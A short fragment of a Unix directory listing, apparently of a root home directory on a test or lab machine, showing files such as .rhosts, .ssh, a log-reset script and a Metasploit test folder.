drwx----- 5 root root 4096 May 20 2012 .purple
-rwx----- 1 root root   4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4096 May 20 2012 .ssh
drwx----- 2 root root 4096 Nov  9 20:18 .vnc
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwx----- 1 root root 401 May 20 2012 reset_logs.sh
drwx----- 2 root root 4096 Nov  8 10:44 test_metasploit
-rw-r--r-- 1 root root 138 Nov  9 20:18 vnc.log
```